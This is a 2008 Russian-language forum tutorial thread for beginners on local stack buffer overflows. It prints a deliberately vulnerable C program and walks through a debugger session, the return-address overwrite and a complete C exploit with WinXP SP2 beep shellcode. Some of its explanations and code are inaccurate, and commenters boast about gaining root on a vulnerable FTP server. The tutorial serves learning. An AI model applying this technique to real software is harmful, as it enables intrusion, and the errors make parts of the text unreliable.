Local Buffer Ovelflowing новичками для новичков

Тема в разделе "Статьи", создана пользователем Anvil, 4 авг 2008.

  1. Anvil
    Anvil Guest
    [ Введение ]

    На днях мы изучали технику переполнения буфера. Было перечитано множество мануалов, инструкций и так далее, пока мы не выяснили все, что нам требовалось на первое время - для написания эксплоита к тестовой программе. И этой информацией мы хотим поделиться с вами. Возможно, будут какие то неточности или маленькие ошибки, так как мы тоже только поняли это, и еще многое предстоит понять, но мы постараемся дать вам всю необходимую информацию.

    Желательно знать что делают регистры процессора, язык Ассемблер и язык С.

    Также необходимо иметь под рукой:

    Отладчик (OllyDbg)
    Компилятор С (Dev-CPP)
    Прямые руки и желание понять тему.

    [ Полный вперед ]

    Итак, когда происходит переполнение буфера?

    Это случается при отсутствии фильтрации длины входящих параметров (очень похоже на SQL инъекции). Вообще эта тема очень похожа на SQL инъекции в WEB приложениях - только вместо инъекции SQL запросов мы будем делать инъекцию кода в стек.

    Пример уязвимой программы:

    Код:
    /*
    b0f.exe
    
    Vulnerable for local buffer overflow attacks
    user b0f_expl.exe to test this
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char *argv[]) {
    char buf[10];
    
    printf("Print your nick: ");
    scanf("%s", &buf); // there no checks for buffer limit
    printf("Hello, %s!\n", buf);
    
    return 0;
    }
    
    Здесь видно что выделяется буфер длиной 10 байт (char buf[10]), запрашивается ввод пользователем ника (scanf("%s", &buf)), введенная строка пишется в буфер и в конце выводится строка "Hello, [СТРОКА_ВВЕДЕННАЯ_ПОЛЬЗОВАТЕЛЕМ]".

    Почему эта программа уязвима?

    Потому что выделяется буфер длиной в 10 байт и никак не проверяется длина строки введенная пользователем!

    Что же это нам может дать?

    Попробуем отправить не 10 а большее количество байт.

    Код:
    C:\Documents and Settings\compaq\Рабочий стол\Reload>b0f
    Print your nick: vvvvvvvvvvvvvvvvvvvvvvvvvvvv1234
    Hello, vvvvvvvvvvvvvvvvvvvvvvvvvvvv1234!
    ^C
    
    Ага! Происходит ошибка, смотрим значение offset в отчете: 76767676. Что это такое? А это строка vvvv в hex значении! Значит есть переполнение буфера с затиранием адреса возврата из функции (он будет равен 0x76767676). Что это нам может дать:

    - Сделать переход на любой другой адрес (например, чтобы обойти авторизацию или чтобы залить в стек шеллкод)
    - Сделать классическое Denial of Service (ведь адрес возврата затерт на несуществующий и функция не может возвратиться обратно, то есть произойдет вылет программы)

    Но атака DoS это детские шалости ведь тут достаточно просто затереть адрес возврата а получить рутовые права и/или shell гораздо интереснее! ;) Но увы для второго варианта придется приложить некоторые усилия.

    Итак, вкратце объясню теорию о действиях программы при входе и выходе из процедур/функций.

    У нас есть следующая программа:

    Код:
    f1()
    код1
    код2
    вызов f2()
    код5
    код6
    завершение_программы
    f2()
    код3
    код4
    возврат_на_адрес_после_вызова_f2_в_f1
    
    То есть получается что выполняется следующая последовательность:

    Код:
    начало f1()
    выполнение "код1"
    выполнение "код2"
    прыжок на f2
    выполнение "код3"
    выполнение "код4"
    возвращение на "код5"
    выполнение "код5"
    выполнение "код6"
    
    Теперь выясним как же сохраняется "возвращение на ..." из функции f2:

    Перед тем как сделать "прыжок на f2" происходит следующая операция:

    Код:
    PUSH EBP
    MOV EBP, ESP
    ADD ESP, -36
    
    Разъясню:

    Командой PUSH EBP мы кладем на вершину стека (а стек как известно растет сверху вниз) значение регистра EBP (сохраняем его).
    Затем кладем в регистр EBP значение ESP (регистр ESP хранит адрес верхушки стека).
    В конце мы вычитаем из стекового указателя ESP 36 бит (ведь при каждой команде стек снижается).

    Далее:

    Код:
    вход в функцию f2
    выполнение "код3"
    выполнение "код4"
    
    А дальше идет операция возврата из функции ("возвращение на код5"):

    Код:
    MOV ESP, EBP
    POP EBP
    RET
    
    Сначала кладем в ESP (напомню - это указатель верхушки стека, а мы восстанавливаем его значение) значение EBP (помните, перед входом в функцию f2 мы клали в него значение ESP перед входом в функцию f2, простите за каламбур).
    Дальше мы снимаем с верхушки стека значение EBP (мы его сохранили перед входом в процедуру f2).
    И в конце мы делаем "возвращение на код5" функцией RET, которая берет значение следующего после вызова функции f2 функцией f1 адреса из регистра EBP.

    Фуух, вроде отмучились с теорией. Надеюсь все понятно.

    Тогда чтоже мы делаем когда переполняем буфер? А мы затираем как раз адрес возврата, и при желании то, что следует за ним! Это происходит из за такого строения стека, по принципу "все в одну кучу", поэтому мы и можем затереть значения регистров.

    Расскажу одну вещь. В стеке все читается справа налево и сверху вниз, поэтому в будущем эксплоите мы должны писать адрес допустим не 0x01234567 а 0x67452301.

    Ну, теперь нам надо определиться с тем, на что изменить адрес возврата.

    Вообще, например при авторизации, мы можем изменить адрес возврата на код последующих после вызова функции авторизации инструкций, тем самым мы обойдем авторизацию. Также можно прыгнуть на код, заведомо опасный, например работающий с командной строкой. А еще мы можем сами "залить" в стек shellcode и записать в адрес возврата адрес шеллкода, и программа перейдет на него. Вот этим то мы и займемся.

    Теперь надо определиться, куда заливать шеллкод. Его можно залить в буфер с мусором (до перезаписи адреса возврата), и после перезаписи адреса возврата. Поскольку выделенный буфер у нас маленький для шеллкода, то мы будем заливать шеллкод после перезаписи адреса возврата.

    Запись шеллкода в мусоре не сильно отличается от записи шеллкода после перезаписи адреса возврата.

    Итак, теперь нам надо узнать, по какому адресу запишется наш шеллкод. Для этого открываем отладчик (например OllyDbg), жмем F3, выбираем нашу уязвимую программу и жмем несколько раз F8 для пошагового выполнения инструкций, пока не наткнемся на вызов функции scanf. Пропишем следующее в отлаживаемой программе:

    Код:
    vvvvvvvvvvvvvvvvvvvvvvvvvvvvaddrshellcode
    
    Видим, что произошло исключение. Смотрим регистры:

    EBP: 76767676 => "vvvv"
    EIP: 72646461 => "addr"
    ESP: 0022FF80 => "shellcode"

    Как мы видим, ESP у нас указывает на начало нашей строки "shellcode", где мы и разместим наш будущий шеллкод. Значение ESP в данном случае у нас и будет служить адресом возврата в эксплоите.

    А теперь пишем эксплоит. В нем сформируем злонамеренную строку следующего вида:

    Код:
    vvvvvvvvvvvvvvvvvvvvvvvvvvvvaddrshellcode
    
    Где "addr" будет адрес возврата а shellcode - код нашего шеллкода.

    Сам шеллкод можно либо написать самому либо где то скачать, например с milw0rm.com.

    Я выбрал шеллкод, издающий процессорный сигнал, в связи с тем, что я могу поместить свой код ~70 байт - таково "расстояние" от Entry Point программы до конца нашего буфера. А шеллкод делающий "beep", как раз и входит в это ограничение.

    Пишем сплоит:

    Код:
    /*
    b0f_expl.exe
    
    buffer overflow exploit for b0f.exe (winxp sp2 shellcode)
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    /* milw0rm.com BEEP shellcode */
    unsigned char scode[] =
    "\x41\x41\x41\x41\x41" // fuck...
    "\x41\x41\x41\x41\x41" // ...fuck...
    "\x41\x41\x41\x41\x41" // ...this is all the fuck...
    "\x41\x41\x41\x41\x41" // ...and this too...
    "\x41\x41\x41\x41\x41" // ...doh, when it will be ended...
    "\x41\x41\x41" // ...yeah, the fuckin end of fuck
    "\x80\xFF\x22\x00" // our RET address
    "\x55\x89\xE5\x83\xEC\x18\xC7\x45\xFC"
    "\x53\x8A\x83\x7C"                      //Address \x53\x8A\x83\x7C = SP2
    "\xC7\x44\x24\x04"
    "\xD0\x03"                              //Length \xD0\x03 = 2000 (2 seconds)
    "\x00\x00\xC7\x04\x24"
    "\x01\x0E"                              //Frequency \x01\x0E = 3585
    "\x00\x00\x8B\x45\xFC\xFF\xD0\xC9\xC3";
    
    int main(void) {
    
    int i;
    
    FILE *fp;
    
    fp=popen("b0f.exe", "w");
    
    for(i=0; i<=(sizeof(scode)-1); i++)
    fputc(scode, fp);
    
    fclose(fp);
    
    return 0;
    }
    


    Тут видно, что сначала генерируем строку для передачи в буфер (не забываем указать адрес "наоборот"), потом открываем программу и пишем в нее строку. И затем издается beep =)

    Есть одно примечание - шеллкод создан под WinXP Service Pack 2, и на остальных системах он работать не будет.

    [ Злоключение ]

    Ну вот, в принципе, и все, что мы хотели сказать по данному поводу. Мы не описали множество приемов и техник переполнения буфера, например локальное, или залитие шеллкода в мусорный буфер, или техники обхода подводных камней, но эта статья была написана "для старта" новичкам, хотя мы и сами новички. Возможны недочеты и ошибки, мы рады будем узнать о них. Спасибо во внимание, и да пребудет с вами священный EAX ;)

    Уязвимая программа и эксплоит: Helkern
    Разъяснение Helkern'у ранее до описываемых событий вопросов по асму: Anvil aka Alasin
    Написание статьи: Helkern && Alasin

    [ Ссылки ]

    http://www.inattack.ru/article/536.html
    http://www.securitylab.ru/contest/212095.php
    http://securityvulns.ru/news2907.html
    http://sp.sz.ru/buf_over_.html
    http://www.inattack.ru/article/539.html
    http://www.codenet.ru/progr/asm/overflow.php
    http://ru.wikipedia.org/wiki/Переполнение_буфера
    http://ru.wikipedia.org/wiki/Стековый_кадр
    http://ru.wikipedia.org/wiki/Стек
    http://www.milw0rm.com

    (c) Helkern && Anvil (aka Alasin)
     
    4 авг 2008
    2 пользователям это понравилось.
  2. Хел
    Хел Guest
    три дня подряд сидели дни и ночи)) ппц)) наркоманы)
     
    4 авг 2008
    1 человеку нравится это.
  3. Koller
    Koller Guest
    Кхм...на самом деле мало что понял...
    Но надеюсь, если появится свободное время, осилю подобный материал...
    Молодцы в любом случае! :)
     
    4 авг 2008
  4. Хел
    Хел Guest
    Коль, поймеш, там не так все сложно как кажется =)
    Как я и описал выше - действия почти аналогичны скулям просто вместо языка SQL надо знать архитектуру стека, немного асма, немного си, и то что делают регистры процессора =)

    А так техника таже - и результат тот же.
     
    5 авг 2008
    1 человеку нравится это.
  5. Anvil
    Anvil Guest
    Не тот же, круче. Намного. И интереснее...
     
    5 авг 2008
    1 человеку нравится это.
  6. Хел
    Хел Guest
    ну да в принципе одно дело получить вебшел с правами ноубади а другое получить привилегии близкие к руту или сам рут) кстати я недавно читал про один из фтп серверов (дня 2 назад) и он был полностью подвержен бофу, там были уязвимы все буферы, это ппц))) и я более чем уверен что там есть место в стеке куда можно залить шеллкод)
     
    5 авг 2008
Загрузка...